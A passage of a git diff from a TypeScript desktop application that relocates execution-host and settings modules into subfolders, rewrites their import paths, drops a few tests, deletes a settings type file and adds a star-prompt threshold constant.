+ +export const MIN_EDITOR_AUTO_SAVE_DELAY_MS = 250 + +export const MAX_EDITOR_AUTO_SAVE_DELAY_MS = 10_000 diff --git a/src/shared/execution-host/execution-host-registry-entry.ts b/src/shared/execution-host/execution-host-registry-entry.ts index 2b01edc8eae..e040c560baf 100644 --- a/src/shared/execution-host/execution-host-registry-entry.ts +++ b/src/shared/execution-host/execution-host-registry-entry.ts @@ -2,7 +2,7 @@ import type { RuntimeEnvironmentStatus, RuntimeHostBlockedReason } from '../remote-runtime/host-status/runtime-host-status' -import type { ExecutionHostId, ExecutionHostKind } from '../execution-host' +import type { ExecutionHostId, ExecutionHostKind } from './execution-host' import type { RuntimeCompatVerdict } from '../remote-runtime/protocol/protocol-compat' import type { RuntimeStatus } from '../remote-runtime/session-graph/runtime-session-contracts' import type { SshConnectionStatus } from '../remote-runtime/ssh/ssh-types' diff --git a/src/shared/execution-host/execution-host-registry.ts b/src/shared/execution-host/execution-host-registry.ts index 658d227d42a..04d049b020c 100644 --- a/src/shared/execution-host/execution-host-registry.ts +++ b/src/shared/execution-host/execution-host-registry.ts @@ -9,10 +9,10 @@ import { toRuntimeExecutionHostId, toSshExecutionHostId, type ExecutionHostId -} from '../execution-host' +} from './execution-host' import type { SshConnectionState } from '../remote-runtime/ssh/ssh-types' import type { RuntimeEnvironmentSource } from '../remote-runtime/host-catalog/runtime-environments' -import type { GlobalSettings } from '../global-settings-types' +import type { GlobalSettings } from '../settings/global-settings-types' import type { Repo } from '../repository/repo-types' import { annotateManagedOrcadExecutionHosts } from './managed-orcad-execution-host' import { getSshConnectionHealth, type EphemeralVmHostLifecycle } from './execution-host-health' diff --git a/src/shared/execution-host/execution-host-vm-lifecycle.ts b/src/shared/execution-host/execution-host-vm-lifecycle.ts index 5793f93ee4b..8b5571fa1cb 100644 --- a/src/shared/execution-host/execution-host-vm-lifecycle.ts +++ b/src/shared/execution-host/execution-host-vm-lifecycle.ts @@ -3,11 +3,7 @@ import { getExecutionHostVmStateHealth, type EphemeralVmHostLifecycle } from './execution-host-health' -import { - normalizeHostPart, - toRuntimeExecutionHostId, - type ExecutionHostId -} from '../execution-host' +import { normalizeHostPart, toRuntimeExecutionHostId, type ExecutionHostId } from './execution-host' import type { ExecutionHostRegistryEntry, RuntimeStatusByEnvironmentId diff --git a/src/shared/execution-host.test.ts b/src/shared/execution-host/execution-host.test.ts similarity index 86% rename from src/shared/execution-host.test.ts rename to src/shared/execution-host/execution-host.test.ts index 6d661518823..752bfba5726 100644 --- a/src/shared/execution-host.test.ts +++ b/src/shared/execution-host/execution-host.test.ts @@ -1,7 +1,5 @@ import { afterEach, describe, expect, it, vi } from 'vitest' import { - ALL_EXECUTION_HOSTS_SCOPE, - LOCAL_EXECUTION_HOST_ID, getRepoDialableSshTargetId, getRepoExecutionHostId, getRepoSshConnectionId, @@ -10,7 +8,6 @@ import { isUnresolvedOwnerHostId, parseExecutionHostId, parseRoutableExecutionHostId, - requestedExecutionHostScope, toSshExecutionHostId, UNRESOLVED_OWNER_HOST_ID } from './execution-host' @@ -21,16 +18,6 @@ describe('execution host identity', () => { vi.unstubAllGlobals() }) - it('defaults an omitted scope request to this host, not a fan-out', () => { - expect(requestedExecutionHostScope(undefined)).toBe(LOCAL_EXECUTION_HOST_ID) - expect(requestedExecutionHostScope(null)).toBe(LOCAL_EXECUTION_HOST_ID) - // An empty or unrecognized scope is a real value, so it still fans out. - expect(requestedExecutionHostScope('')).toBe(ALL_EXECUTION_HOSTS_SCOPE) - expect(requestedExecutionHostScope('bogus')).toBe(ALL_EXECUTION_HOSTS_SCOPE) - expect(requestedExecutionHostScope('all')).toBe(ALL_EXECUTION_HOSTS_SCOPE) - expect(requestedExecutionHostScope('ssh:dev%20box')).toBe('ssh:dev%20box') - }) - it('prefers explicit worktree ownership before repo and focused-host fallbacks', () => { expect( getWorktreeExecutionHostId( diff --git a/src/shared/execution-host.ts b/src/shared/execution-host/execution-host.ts similarity index 98% rename from src/shared/execution-host.ts rename to src/shared/execution-host/execution-host.ts index 82ecf8dd194..89ad49a0f1b 100644 --- a/src/shared/execution-host.ts +++ b/src/shared/execution-host/execution-host.ts @@ -1,6 +1,6 @@ -import type { GlobalSettings } from './global-settings-types' -import type { Repo } from './repository/repo-types' -import type { Worktree } from './worktree/types' +import type { GlobalSettings } from '../settings/global-settings-types' +import type { Repo } from '../repository/repo-types' +import type { Worktree } from '../worktree/types' export const LOCAL_EXECUTION_HOST_ID = 'local' export const ALL_EXECUTION_HOSTS_SCOPE = 'all' diff --git a/src/shared/execution-host/host-authority.test.ts b/src/shared/execution-host/host-authority.test.ts index a7c962b8197..33a6a823b39 100644 --- a/src/shared/execution-host/host-authority.test.ts +++ b/src/shared/execution-host/host-authority.test.ts @@ -1,9 +1,6 @@ import { describe, expect, it } from 'vitest' -import { - getExecutionHostIdFromWorktreeHostIdentity, - composeWorktreeHostIdentity -} from '../worktree/host-qualified-identity' -import { parseExecutionHostId, UNRESOLVED_OWNER_HOST_ID } from '../execution-host' +import '../worktree/host-qualified-identity' +import { UNRESOLVED_OWNER_HOST_ID } from './execution-host' import { authorityKey, hostAuthorityFromOperationRoute, @@ -25,14 +22,6 @@ describe('authorityKey', () => { expect(parseHostAuthorityKey(key)).toEqual(authority) }) - it('gives nested authorities a key no host-id parser accepts', () => { - const key = authorityKey({ endpoint: env('env-a'), at: 'ssh:box' }) - expect(parseExecutionHostId(key)).toBeNull() - expect( - getExecutionHostIdFromWorktreeHostIdentity(composeWorktreeHostIdentity(undefined, key)) - ).toBeUndefined() - }) - it('never parses the unresolved-owner sentinel, plain or nested', () => { expect(parseHostAuthorityKey(UNRESOLVED_OWNER_HOST_ID)).toBeNull() expect(parseHostAuthorityKey('nested:unresolved-owner/box')).toBeNull() diff --git a/src/shared/execution-host/host-authority.ts b/src/shared/execution-host/host-authority.ts index cb427507c77..68e725d236b 100644 --- a/src/shared/execution-host/host-authority.ts +++ b/src/shared/execution-host/host-authority.ts @@ -6,7 +6,7 @@ import { parseRoutableExecutionHostId, toRuntimeExecutionHostId, type ExecutionHostId -} from '../execution-host' +} from './execution-host' export type HostAuthorityEndpoint = | { kind: 'self' } diff --git a/src/shared/execution-host/host-setting-overrides.ts b/src/shared/execution-host/host-setting-overrides.ts index 0ed15f298dd..b1a079bbc2f 100644 --- a/src/shared/execution-host/host-setting-overrides.ts +++ b/src/shared/execution-host/host-setting-overrides.ts @@ -1,5 +1,5 @@ -import type { ExecutionHostId } from '../execution-host' -import type { GlobalSettings } from '../global-settings-types' +import type { ExecutionHostId } from './execution-host' +import type { GlobalSettings } from '../settings/global-settings-types' /** Limit per-host preferences to host-specific values: client-side display labels and filesystem worktree roots. * Remote hosts cannot reuse a local workspaceDir unchanged. */ diff --git a/src/shared/execution-host/managed-orcad-execution-host.ts b/src/shared/execution-host/managed-orcad-execution-host.ts index 09358ba7573..1e3164d47df 100644 --- a/src/shared/execution-host/managed-orcad-execution-host.ts +++ b/src/shared/execution-host/managed-orcad-execution-host.ts @@ -3,7 +3,7 @@ import { toRuntimeExecutionHostId, toSshExecutionHostId, type ExecutionHostId -} from '../execution-host' +} from './execution-host' import type { ExecutionHostRegistryEntry } from './execution-host-registry-entry' import type { SshConnectionState } from '../remote-runtime/ssh/ssh-types' diff --git a/src/shared/execution-host/repo-routing-connection-id.test.ts b/src/shared/execution-host/repo-routing-connection-id.test.ts index 10ea857d3a9..f13a78f58c7 100644 --- a/src/shared/execution-host/repo-routing-connection-id.test.ts +++ b/src/shared/execution-host/repo-routing-connection-id.test.ts @@ -1,5 +1,5 @@ import { describe, expect, it } from 'vitest' -import { getRepoRoutingConnectionId } from '../execution-host' +import { getRepoRoutingConnectionId } from './execution-host' describe('getRepoRoutingConnectionId', () => { it.each([ diff --git a/src/shared/execution-host/runtime-listing-host-scope.ts b/src/shared/execution-host/runtime-listing-host-scope.ts index ee0ac441a52..059d85921d0 100644 --- a/src/shared/execution-host/runtime-listing-host-scope.ts +++ b/src/shared/execution-host/runtime-listing-host-scope.ts @@ -1,4 +1,4 @@ -import { parseExecutionHostId, type ExecutionHostId } from '../execution-host' +import { parseExecutionHostId, type ExecutionHostId } from './execution-host' /** Bounded listing evidence applies only to covered hosts; absent scopes on old hosts prove no coverage * (docs/reference/ssh-execution-boundary.md). */ diff --git a/src/shared/twin-repo-host-routing.test-fixture.ts b/src/shared/execution-host/twin-repo-host-routing.test-fixture.ts similarity index 94% rename from src/shared/twin-repo-host-routing.test-fixture.ts rename to src/shared/execution-host/twin-repo-host-routing.test-fixture.ts index 7ab2ecf1ac3..276f058239c 100644 --- a/src/shared/twin-repo-host-routing.test-fixture.ts +++ b/src/shared/execution-host/twin-repo-host-routing.test-fixture.ts @@ -1,8 +1,8 @@ // Use one twin-repo fixture for main routing and window session-partition routing. -import { getDefaultWorkspaceSession } from './constants' +import { getDefaultWorkspaceSession } from '../orca-profiles/constants' import type { ExecutionHostId } from './execution-host' -import type { Repo } from './repository/repo-types' -import type { WorkspaceSessionState } from './workspace-session/workspace-session-state-types' +import type { Repo } from '../repository/repo-types' +import type { WorkspaceSessionState } from '../workspace-session/workspace-session-state-types' export const TWIN_WORKTREE_ID = 'repo::/work/orca' diff --git a/src/shared/execution-host/worktree-execution-host-resolution.ts b/src/shared/execution-host/worktree-execution-host-resolution.ts index 77cc0634ab8..84d934244ad 100644 --- a/src/shared/execution-host/worktree-execution-host-resolution.ts +++ b/src/shared/execution-host/worktree-execution-host-resolution.ts @@ -8,7 +8,7 @@ import { getSshTargetIdForExecutionHost, normalizeExecutionHostId, type ExecutionHostId -} from '../execution-host' +} from './execution-host' export type ExecutionHostOwnerRow = Pick diff --git a/src/shared/feature-education/star-nag/star-nag-threshold.ts b/src/shared/feature-education/star-nag/star-nag-threshold.ts new file mode 100644 index 00000000000..df57b916b9d --- /dev/null +++ b/src/shared/feature-education/star-nag/star-nag-threshold.ts @@ -0,0 +1,2 @@ +// Why: first-time seed only — doubles on each dismissal without starring; later thresholds live in starNagNextThreshold. +export const STAR_NAG_INITIAL_THRESHOLD = 35 diff --git a/src/shared/file-access/runtime-workspace-file-owner.ts b/src/shared/file-access/runtime-workspace-file-owner.ts index dc397b300ea..9b231a32cf1 100644 --- a/src/shared/file-access/runtime-workspace-file-owner.ts +++ b/src/shared/file-access/runtime-workspace-file-owner.ts @@ -1,4 +1,4 @@ -import type { ExecutionHostId } from '../execution-host' +import type { ExecutionHostId } from '../execution-host/execution-host' import { normalizeRuntimePathForComparison, relativePathInsideRoot } from './cross-platform-path' export type RuntimeWorkspaceFileRoot = { diff --git a/src/shared/file-access/windows-path-access.ts b/src/shared/file-access/windows-path-access.ts index c025c123b0c..c0f0325c2df 100644 --- a/src/shared/file-access/windows-path-access.ts +++ b/src/shared/file-access/windows-path-access.ts @@ -1,5 +1,5 @@ /** Translate Windows access only for the resource owner’s WSL host, using its registered distro. Pure desktop-side path work; SSH/paired/local hosts have no translation. */ -import { parseRoutableExecutionHostId } from '../execution-host' +import { parseRoutableExecutionHostId } from '../execution-host/execution-host' import { parseWslUncPath, toWindowsWslUncPath } from './wsl-paths' export type WindowsPathAccess = { diff --git a/src/shared/folder-workspaces/folder-workspace-execution-host.ts b/src/shared/folder-workspaces/folder-workspace-execution-host.ts index 0f47613ee32..8f4f515f2a3 100644 --- a/src/shared/folder-workspaces/folder-workspace-execution-host.ts +++ b/src/shared/folder-workspaces/folder-workspace-execution-host.ts @@ -14,7 +14,7 @@ import { toSshExecutionHostId, toRuntimeExecutionHostId, type ExecutionHostId -} from '../execution-host' +} from '../execution-host/execution-host' export type FolderWorkspaceHostState = { folderWorkspaces: readonly FolderWorkspace[] diff --git a/src/shared/folder-workspaces/folder-workspace-host-id.ts b/src/shared/folder-workspaces/folder-workspace-host-id.ts index b871c74cb6c..86da3187f51 100644 --- a/src/shared/folder-workspaces/folder-workspace-host-id.ts +++ b/src/shared/folder-workspaces/folder-workspace-host-id.ts @@ -6,7 +6,7 @@ import { parseExecutionHostId, toSshExecutionHostId, type ExecutionHostId -} from '../execution-host' +} from '../execution-host/execution-host' export function getFolderWorkspaceHostId( workspace: FolderWorkspace, diff --git a/src/shared/folder-workspaces/folder-workspace-host-routing.test-fixture.ts b/src/shared/folder-workspaces/folder-workspace-host-routing.test-fixture.ts index d45db8bfa3c..b041ab273e1 100644 --- a/src/shared/folder-workspaces/folder-workspace-host-routing.test-fixture.ts +++ b/src/shared/folder-workspaces/folder-workspace-host-routing.test-fixture.ts @@ -1,5 +1,5 @@ // Share locally stored folder rows (without host stamps) and saved partitions across main routing/window-save tests. -import type { ExecutionHostId } from '../execution-host' +import type { ExecutionHostId } from '../execution-host/execution-host' import type { FolderWorkspace } from './folder-workspace-types' import type { ProjectGroup } from '../project/groups/project-group-types' diff --git a/src/shared/folder-workspaces/folder-workspace-source-repos.ts b/src/shared/folder-workspaces/folder-workspace-source-repos.ts index 17e221ae599..454925eae52 100644 --- a/src/shared/folder-workspaces/folder-workspace-source-repos.ts +++ b/src/shared/folder-workspaces/folder-workspace-source-repos.ts @@ -4,7 +4,7 @@ import { getRepoExecutionHostId, normalizeExecutionHostId, type ExecutionHostId -} from '../execution-host' +} from '../execution-host/execution-host' import { getProjectGroupSubtreeIds } from '../project/groups/project-groups' import { isGitRepoKind } from '../repository/repo-kind' diff --git a/src/shared/folder-workspaces/folder-workspace-types.ts b/src/shared/folder-workspaces/folder-workspace-types.ts index 6088b59042f..48b0d22f40d 100644 --- a/src/shared/folder-workspaces/folder-workspace-types.ts +++ b/src/shared/folder-workspaces/folder-workspace-types.ts @@ -1,4 +1,4 @@ -import type { ExecutionHostId } from '../execution-host' +import type { ExecutionHostId } from '../execution-host/execution-host' import type { TaskSourceContext } from '../work-items/task-source-context' import type { TuiAgent } from '../agent-launch/catalog/tui-agent' import type { DiffComment } from '../file-review/diff-comment-types' diff --git a/src/shared/folder-workspaces/folder-workspace-worktree.ts b/src/shared/folder-workspaces/folder-workspace-worktree.ts index 336b9071b23..b82c87a1a9f 100644 --- a/src/shared/folder-workspaces/folder-workspace-worktree.ts +++ b/src/shared/folder-workspaces/folder-workspace-worktree.ts @@ -5,7 +5,7 @@ import { getConnectionExecutionHostId, parseExecutionHostId, type ExecutionHostId -} from '../execution-host' +} from '../execution-host/execution-host' import { composeWorktreeHostIdentity } from '../worktree/host-qualified-identity' import { normalizeWorkspaceCreatorProvenance } from '../workspace/identity/workspace-creator-provenance' import { getWorkspaceAttachments } from '../workspace-attachments/workspace-attachments' diff --git a/src/shared/folder-workspaces/initial-folder-workspace-state.ts b/src/shared/folder-workspaces/initial-folder-workspace-state.ts index 02b025b35b3..f2749a8cd0d 100644 --- a/src/shared/folder-workspaces/initial-folder-workspace-state.ts +++ b/src/shared/folder-workspaces/initial-folder-workspace-state.ts @@ -1,5 +1,5 @@ -import { LOCAL_EXECUTION_HOST_ID } from '../execution-host' -import type { PersistedState } from '../persisted-state-types' +import { LOCAL_EXECUTION_HOST_ID } from '../execution-host/execution-host' +import type { PersistedState } from '../orca-profiles/persisted-state-types' import { projectHostSetupProjectionFromRepos } from '../project/host-setup/project-host-setup-projection' import type { Repo } from '../repository/repo-types' import { getRepoMainWorktreeId } from '../worktree/id' diff --git a/src/shared/git/branches/branch-prefix.ts b/src/shared/git/branches/branch-prefix.ts index a1688e38769..52c6f6f1c32 100644 --- a/src/shared/git/branches/branch-prefix.ts +++ b/src/shared/git/branches/branch-prefix.ts @@ -1,4 +1,4 @@ -import type { BranchPrefixStrategy } from '../../ui-chrome-types' +import type { BranchPrefixStrategy } from '../../ui-chrome/ui-chrome-types' /** The branch-prefix settings slice the prefix helpers read. */ export type BranchPrefixSettings = { diff --git a/src/shared/git/branches/preserved-branch-cleanup.ts b/src/shared/git/branches/preserved-branch-cleanup.ts index c12b8002732..c562ab6ebe3 100644 --- a/src/shared/git/branches/preserved-branch-cleanup.ts +++ b/src/shared/git/branches/preserved-branch-cleanup.ts @@ -1,4 +1,4 @@ -import type { ExecutionHostId } from '../../execution-host' +import type { ExecutionHostId } from '../../execution-host/execution-host' export type PreservedBranchCleanup = { worktreeId: string diff --git a/src/shared/github/cache/github-cache-key.ts b/src/shared/github/cache/github-cache-key.ts index be772cd6118..335f64791fd 100644 --- a/src/shared/github/cache/github-cache-key.ts +++ b/src/shared/github/cache/github-cache-key.ts @@ -1,10 +1,10 @@ -import type { GlobalSettings } from '../../global-settings-types' +import type { GlobalSettings } from '../../settings/global-settings-types' import { LOCAL_EXECUTION_HOST_ID, normalizeExecutionHostId, toSshExecutionHostId, type ExecutionHostId -} from '../../execution-host' +} from '../../execution-host/execution-host' import { taskSourceCacheScopeHostId } from '../../work-items/task-source-context' export type RuntimeFocusSettings = diff --git a/src/shared/github/work-items/work-item-types.ts b/src/shared/github/work-items/work-item-types.ts index 5f01c7169b2..8149a0abd6f 100644 --- a/src/shared/github/work-items/work-item-types.ts +++ b/src/shared/github/work-items/work-item-types.ts @@ -1,5 +1,5 @@ import type { ClassifiedError } from '../../errors/classified-error' -import type { ExecutionHostId } from '../../execution-host' +import type { ExecutionHostId } from '../../execution-host/execution-host' import type { PRCheckDetail } from '../checks/check-types' import type { GitHubIssueTimelineItem, PRComment } from '../comments/comment-types' import type { diff --git a/src/shared/gitlab/gitlab-types.ts b/src/shared/gitlab/gitlab-types.ts index a18ec8f3827..3f76a1810c4 100644 --- a/src/shared/gitlab/gitlab-types.ts +++ b/src/shared/gitlab/gitlab-types.ts @@ -1,6 +1,6 @@ /** GitLab-specific types re-export through ./types for import compatibility. */ import type { ClassifiedError } from '../errors/classified-error' -import type { ExecutionHostId } from '../execution-host' +import type { ExecutionHostId } from '../execution-host/execution-host' import type { CheckStatus, PRConflictSummary, diff --git a/src/shared/global-settings-base.ts b/src/shared/global-settings-base.ts deleted file mode 100644 index e3d7274d624..00000000000 --- a/src/shared/global-settings-base.ts +++ /dev/null @@ -1,66 +0,0 @@ -import type { AntigravityChatAuthSettings } from './agent-accounts/antigravity/antigravity-chat-auth-config' -import type { EmulatorOpeningSettings } from './emulator/emulator-opening-preferences' -import type { BrowserExtensionGlobalSettings } from './browser/extensions/browser-extension-settings' -import type { ClaudeAgentViewSettings } from './agent-hook-listener/providers/claude/view/claude-agent-view' -import type { WorktreeCardDisplaySettings } from './worktree/card-display-settings-types' -import type { BrowserLinkOpeningSettings } from './browser/navigation/browser-link-opening-settings' -import type { BrowserPasswordsGlobalSettings } from './browser/passwords/browser-passwords-types' -import type { BrowserMemorySaverGlobalSettings } from './browser/guest-lifecycle/browser-memory-saver' -import type { ClaudeAccountSwitchSettings } from './agent-accounts/claude/claude-account-switch-settings' -import type { ExternalConversationSettings } from './connectors/external-conversation-settings' -import type { NativeChatGlobalSettings } from './native-chat/native-chat-appearance-settings' -import type { NativeChatIdleStopSettings } from './native-chat/native-chat-idle-stop' -import type { EditorTypographySettings } from './editor/appearance/editor-typography-settings-types' -import type { PluginAppearanceSettings } from './plugins/appearance/plugin-appearance-settings-types' -import type { PluginFileTypeSuggestionSettings } from './plugins/contributions/plugin-file-type' -import type { PluginUpdatePolicySettings } from './plugins/catalog/plugin-update-policy' -import type { PluginSystemSettings } from './plugins/plugin-system-settings' -import type { TerminalScrollSettings } from './terminal/appearance/terminal-scroll-settings' -import type { WorktreeDeletionPreferences } from './worktree/removal/worktree-deletion-preferences' -import type { AgentPermissionGlobalSettings } from './agent-launch/permissions/tui-agent-permission-choice' -import type { TerminalColorOverrideGlobalSettings } from './terminal-themes/terminal-color-overrides' -import type { WindowMaterialSettings } from './app-lifecycle/windows/window-material' -import type { EditorSaveSettings } from './editor/saving/editor-save-settings' -import type { NestedWorkerDepthSettings } from './orchestration/workers/nested-worker-depth' -import type { SshRemoteControlSettings } from './remote-runtime/ssh/ssh-remote-control-settings' -import type { AgentWorkspaceTrustSettings } from './agent-launch/permissions/agent-workspace-trust-decision' -import type { KeybindingGlobalSettings } from './keybindings/global-settings' -import type { WorkspaceCleanupPolicySettings } from './workspace-cleanup/workspace-cleanup-policy' -import type { PRAutoRefreshSettings } from './source-control/hosted-review/review-refresh-policy' -import type { ManagedAccountNameSettings } from './agent-accounts/managed-account-display-names' -import type { NewTabMenuSettings } from './new-tab-menu/new-tab-menu-layout' -import type { UiLanguageSettings } from './i18n/ui-language-settings' - -/** Settings groups owned by their feature modules and composed into GlobalSettings. */ -export type GlobalSettingsBase = AntigravityChatAuthSettings & - EmulatorOpeningSettings & - SshRemoteControlSettings & - ClaudeAgentViewSettings & - NativeChatGlobalSettings & - NativeChatIdleStopSettings & - WorktreeDeletionPreferences & - WorktreeCardDisplaySettings & - ClaudeAccountSwitchSettings & - AgentPermissionGlobalSettings & - ExternalConversationSettings & - BrowserLinkOpeningSettings & - BrowserExtensionGlobalSettings & - PluginAppearanceSettings & - EditorTypographySettings & - PluginFileTypeSuggestionSettings & - PluginUpdatePolicySettings & - PluginSystemSettings & - TerminalScrollSettings & - TerminalColorOverrideGlobalSettings & - WindowMaterialSettings & - EditorSaveSettings & - BrowserPasswordsGlobalSettings & - BrowserMemorySaverGlobalSettings & - NestedWorkerDepthSettings & - AgentWorkspaceTrustSettings & - KeybindingGlobalSettings & - WorkspaceCleanupPolicySettings & - PRAutoRefreshSettings & - ManagedAccountNameSettings & - NewTabMenuSettings & - UiLanguageSettings diff --git a/src/shared/i18n/portuguese-ui-language-migration.ts b/src/shared/i18n/portuguese-ui-language-migration.ts index 4bce5a3d94d..9c8ddac605e 100644 --- a/src/shared/i18n/portuguese-ui-language-migration.ts +++ b/src/shared/i18n/portuguese-ui-language-migration.ts @@ -1,4 +1,4 @@ -import type { GlobalSettings } from '../global-settings-types' +import type { GlobalSettings } from '../settings/global-settings-types' import { normalizeUiLanguage } from './ui-language' type PortugueseUiLanguageSettings = Pick< diff --git a/src/shared/jira/jira-project-reference.ts b/src/shared/jira/jira-project-reference.ts index fdf50c3a717..cab324413ee 100644 --- a/src/shared/jira/jira-project-reference.ts +++ b/src/shared/jira/jira-project-reference.ts @@ -1,7 +1,7 @@ import type { JiraIssue, JiraProject } from './jira-types' import type { Repo } from '../repository/repo-types' -import { getRepoExecutionHostId } from '../execution-host' -import type { ExecutionHostId } from '../execution-host' +import { getRepoExecutionHostId } from '../execution-host/execution-host' +import type { ExecutionHostId } from '../execution-host/execution-host' import { resolveJiraSourceHostId } from './jira-source-host' export type JiraProjectReference = Pick & { siteId: string } diff --git a/src/shared/jira/jira-source-host.ts b/src/shared/jira/jira-source-host.ts index 05bf964f8b4..656143b29ee 100644 --- a/src/shared/jira/jira-source-host.ts +++ b/src/shared/jira/jira-source-host.ts @@ -4,7 +4,7 @@ import { normalizeExecutionHostId, parseExecutionHostId, type ExecutionHostId -} from '../execution-host' +} from '../execution-host/execution-host' export function resolveJiraSourceHostId(args: { workspaceHostId?: string | null diff --git a/src/shared/native-chat/input/session-options/native-chat-session-option-defaults.ts b/src/shared/native-chat/input/session-options/native-chat-session-option-defaults.ts index 8dce8e5d2cc..b3a1f253d70 100644 --- a/src/shared/native-chat/input/session-options/native-chat-session-option-defaults.ts +++ b/src/shared/native-chat/input/session-options/native-chat-session-option-defaults.ts @@ -7,7 +7,7 @@ import { type NewChatPermissionSettings } from '../../../agent-launch/permissions/agent-chat-permission-mode' import { AGENT_CHAT_PERMISSION_MODE_OPTION_ID } from '../../../agent-launch/permissions/agent-chat-permission-mode-option-id' -import type { GlobalSettings } from '../../../global-settings-types' +import type { GlobalSettings } from '../../../settings/global-settings-types' import { findCatalogModel, getAgentSessionOptionCatalog, diff --git a/src/shared/native-chat/native-chat-providers.ts b/src/shared/native-chat/native-chat-providers.ts index 2f6c28229b7..2e82e3eb9d1 100644 --- a/src/shared/native-chat/native-chat-providers.ts +++ b/src/shared/native-chat/native-chat-providers.ts @@ -1,6 +1,6 @@ // Persist the default surface independently from per-agent overrides. -import type { GlobalSettings } from '../global-settings-types' +import type { GlobalSettings } from '../settings/global-settings-types' import type { TuiAgent } from '../agent-launch/catalog/tui-agent' import { isStructuredAgentId } from '../agent-session/lifecycle/provider-handles/agent-session-provider-handle-encoding' import type { AgentDefaultSurface } from './native-chat-appearance-settings' diff --git a/src/shared/native-chat/native-chat-shell-environment.ts b/src/shared/native-chat/native-chat-shell-environment.ts index 438c9ab2c53..1e58ed82839 100644 --- a/src/shared/native-chat/native-chat-shell-environment.ts +++ b/src/shared/native-chat/native-chat-shell-environment.ts @@ -1,4 +1,4 @@ -import type { GlobalSettings } from '../global-settings-types' +import type { GlobalSettings } from '../settings/global-settings-types' /** Which login-shell variables a structured native chat child inherits. */ export type NativeChatShellEnvironmentPolicy = { diff --git a/src/shared/native-chat/transcript/messages/native-chat-transcript-readability.ts b/src/shared/native-chat/transcript/messages/native-chat-transcript-readability.ts index 91e3a365f71..ba6f5545e76 100644 --- a/src/shared/native-chat/transcript/messages/native-chat-transcript-readability.ts +++ b/src/shared/native-chat/transcript/messages/native-chat-transcript-readability.ts @@ -1,4 +1,4 @@ -import { isRuntimeOwnedSshTargetId } from '../../../execution-host' +import { isRuntimeOwnedSshTargetId } from '../../../execution-host/execution-host' /** Model-A SSH stores Grok transcripts on a host this renderer cannot read. */ export function isNativeChatTranscriptLocalReadable( diff --git a/src/shared/new-workspace/new-workspace-dialog-repo.ts b/src/shared/new-workspace/new-workspace-dialog-repo.ts index 5e614431a67..a19c501358a 100644 --- a/src/shared/new-workspace/new-workspace-dialog-repo.ts +++ b/src/shared/new-workspace/new-workspace-dialog-repo.ts @@ -3,7 +3,7 @@ import { getRepoExecutionHostId, isRuntimeOwnedSshTargetId, type ExecutionHostScope -} from '../execution-host' +} from '../execution-host/execution-host' import { isGitRepoKind } from '../repository/repo-kind' import { isRepoHidden } from '../project/catalog/hidden-projects' import type { Repo } from '../repository/repo-types' diff --git a/src/shared/notifications/notification-settings-types.ts b/src/shared/notifications/notification-settings-types.ts index bc4860adf73..4af9cdb1682 100644 --- a/src/shared/notifications/notification-settings-types.ts +++ b/src/shared/notifications/notification-settings-types.ts @@ -9,7 +9,7 @@ import { } from '../agent-session/lifecycle/agent-session-record' import type { AgentStatusState, AgentType } from '../agent-status/contracts/agent-status-types' import type { AgentTurnOutcome } from '../agent-status/lifecycle/agent-turn-outcome' -import type { ExecutionHostId } from '../execution-host' +import type { ExecutionHostId } from '../execution-host/execution-host' import type { NotificationSourceId } from './notification-source' export type NotificationSettings = { diff --git a/src/shared/notifications/notification-source.ts b/src/shared/notifications/notification-source.ts index 73d698bdbfa..dc901fb4684 100644 --- a/src/shared/notifications/notification-source.ts +++ b/src/shared/notifications/notification-source.ts @@ -3,7 +3,7 @@ import { parseExecutionHostId, toRuntimeExecutionHostId, type ExecutionHostId -} from '../execution-host' +} from '../execution-host/execution-host' import { isEphemeralVmRuntimeEnvironment, type PublicKnownRuntimeEnvironment diff --git a/src/shared/constants.ts b/src/shared/orca-profiles/constants.ts similarity index 71% rename from src/shared/constants.ts rename to src/shared/orca-profiles/constants.ts index 99264b89410..2265a7346aa 100644 --- a/src/shared/constants.ts +++ b/src/shared/orca-profiles/constants.ts @@ -1,63 +1,44 @@ -import type { GlobalSettings } from './global-settings-types' -import type { RepoHookSettings } from './workspace-setup/orca-yaml-hook-types' +import { DEFAULT_APP_FONT_FAMILY } from '../app-lifecycle/appearance/app-font-family' +import { DEFAULT_EDITOR_AUTO_SAVE_DELAY_MS } from '../editor/saving/editor-auto-save-delay' +import { DEFAULT_TERMINAL_INACTIVE_PANE_OPACITY } from '../terminal/appearance/terminal-pane-opacity' +import { + DEFAULT_SHOW_SLEEPING_WORKSPACES, + DEFAULT_HIDE_SLEEPING_WORKSPACES +} from '../workspace-view/sleeping-workspace-visibility' +import { DEFAULT_AGENT_ACTIVITY_DISPLAY_MODE } from '../agent-status/presentation/agent-activity-display-mode' +import type { GlobalSettings } from '../settings/global-settings-types' +import type { RepoHookSettings } from '../workspace-setup/orca-yaml-hook-types' import type { PersistedState } from './persisted-state-types' import type { PersistedUIState } from './persisted-ui-state-types' -import type { AgentActivityDisplayMode } from './ui-chrome-types' -import type { WorkspaceSessionState } from './workspace-session/workspace-session-state-types' -import { EMPTY_CODEX_RESET_CREDIT_ATTEMPT_LEDGER } from './agent-accounts/codex/codex-reset-credit-attempt-ledger' -import { DEFAULT_STATUS_BAR_ITEMS } from './status-bar/status-bar-defaults' -import type { VoiceSettings } from './speech/speech-types' -import { DICTATION_LANGUAGE_AUTO } from './speech/models/dictation-language' -import { DEFAULT_UNLOAD_MODEL_AFTER_MINUTES } from './speech/models/voice-model-unload' -import { cloneDefaultWorkspaceStatuses } from './workspace/status/workspace-statuses' -import { DEFAULT_WORKTREE_CARD_PROPERTIES } from './worktree/row-display/card-properties' + +import type { WorkspaceSessionState } from '../workspace-session/workspace-session-state-types' +import { EMPTY_CODEX_RESET_CREDIT_ATTEMPT_LEDGER } from '../agent-accounts/codex/codex-reset-credit-attempt-ledger' +import { DEFAULT_STATUS_BAR_ITEMS } from '../status-bar/status-bar-defaults' +import type { VoiceSettings } from '../speech/speech-types' +import { DICTATION_LANGUAGE_AUTO } from '../speech/models/dictation-language' +import { DEFAULT_UNLOAD_MODEL_AFTER_MINUTES } from '../speech/models/voice-model-unload' +import { cloneDefaultWorkspaceStatuses } from '../workspace/status/workspace-statuses' +import { DEFAULT_WORKTREE_CARD_PROPERTIES } from '../worktree/row-display/card-properties' import { DEFAULT_AGENTS_GROUP_BY, DEFAULT_AGENTS_READ_FILTER -} from './agent-status/presentation/agents-view-thread-filters' -import { DEFAULT_USAGE_PERCENTAGE_DISPLAY } from './agent-usage/display/usage-percentage-display' -import { DEFAULT_STATUS_BAR_USAGE_MODE } from './status-bar/status-bar-usage-mode' -import { 